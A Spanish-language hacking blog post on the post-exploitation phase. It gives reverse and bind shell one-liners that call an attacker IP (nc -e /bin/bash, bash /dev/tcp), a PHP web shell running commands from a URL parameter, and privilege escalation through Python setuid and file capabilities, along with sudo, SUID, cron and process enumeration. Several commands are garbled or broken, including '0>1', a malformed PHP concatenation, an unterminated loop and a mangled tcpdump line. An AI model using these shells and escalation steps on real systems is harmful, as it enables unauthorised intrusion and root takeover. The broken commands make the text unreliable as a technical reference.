En este artículo me voy a centrar en la fase de explotación, hablaremos de diferentes técnicas:

  • Reverse shell
  • Bind shell
  • Fordward shell
  • Listar permisos
  • Capabilities
  • Procesos

Reverse shell

Se establece una conexión desde la máquina comprometida hacia la máquina del atacante.

Desde la máquina comprometida (atacada):

nc -nlvp 443

Me pongo en escucha y luego lanzo el siguiente comando para recibir la consola interactiva.

nc -e /bin/bash 192.168.1.16 443
bash -i >& /dev/tcp/192.168.1.16/443 0>1

Bind shell

Desde la máquina víctima ejecutas un comando, abriendo un puerto temporal.

nc -nlvp 4646 -e /bin/bash


Como atacante te conectas con el puerto que has abierto.

nc ipVictima 4646

Fordward shell

Si hay un firewall, para entrablar una reverse shell, con named pipe y mkfifo para conseguir una shell interactiva, sin usar tcp

iptables --flush
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 0:65535 - m ctstate NEW -j DROP
iptales -A OUTPUT -p tcp -m tcp -o eth0

Ahora hacemos una shell en un script en php cmd.php

<?
echo "<pre>" - shell_exec($_GET['cmd']) . "</pre>"; 
?>

Recargamos…

service apache2 restart

Si hay problemas entrar en

nano /etc/php/8.1/apache2/php.ini poner en on:

short_open_tag = on

Que por defecto viene en off

service apache2 restart

Si en el navegador escribimos localhost/cmp.php?cmd= Podremos ejecutar comandos

localhost/cmp.php?cmd=ncat -e /bin/bash 192.168.17.1 443

Ponemos la ip de la máquina victima. Y en escucha por el puerto 443, en la url me pongo en escucha nc -nlvp 443 y ganaria acceso.

Listar permisos

Si ya estamos en una máquina pero como usuario no privilegiado y queremos saber que permisos tiene:

whoami
id
sudo -l
find -perm -4000 2>/dev/null

Si como salida de ejecutar este comando veo que está en el grupo de Python, podría tener Python instalado, simplemente al entrar en la consola de Python, ya sería root y podría ejecutar comandos como root

python3.9
import os
os.system ("whoami")
h4nna
0
os.setuid(0)
os.system ("whoami")
root
0
os.system ("bash")
os.system ("whoami")

Si tuviera permisos s udi podría ejecutar comandos como root. En este caso no tenía.

Capabilities

getcap -r / 2>/dev/null
setcap cap_setuid+ep /usr/bin/python3.11

Tambíen se podría mirar si se tienen permisos para ejecutar tareas cron

crontab -l
cat /etc/crontab

Listar los timer

systemctl list-timers

Tambíen nos puede interesar ver comandos que reportan los procesos que se ejecutan y por quíen

ps -eo command

O podriamos ejecutar el siguiente script que reprota quién está ejecutando cada proceso, actualizándose las variables old preocess y new process, para salir hay que hacerlo con control +c

#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo…\n"
exit 1
}
#Ctrl+C
trap ctrl_c SIGINT
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[>>]" | grep -vE "command|procmon|kworker"
old_process=$new_process

Capabilities a nivel de sistema

Estoy en una maquina y ya sou usuario normal, miro los permisis que tengo y veo que puedo ejecutar como root tcpdum.

Lo que haré será darle a la /bin/bas permisos de ejecución

chmod +x /bin/bash
echo '$COMMAND' > $TF
tucpdump -ln -l io -w 1G 1 -z /tmp/tmp

Categorías: Hacking

0 comentarios

Deja una respuesta

Marcador de posición del avatar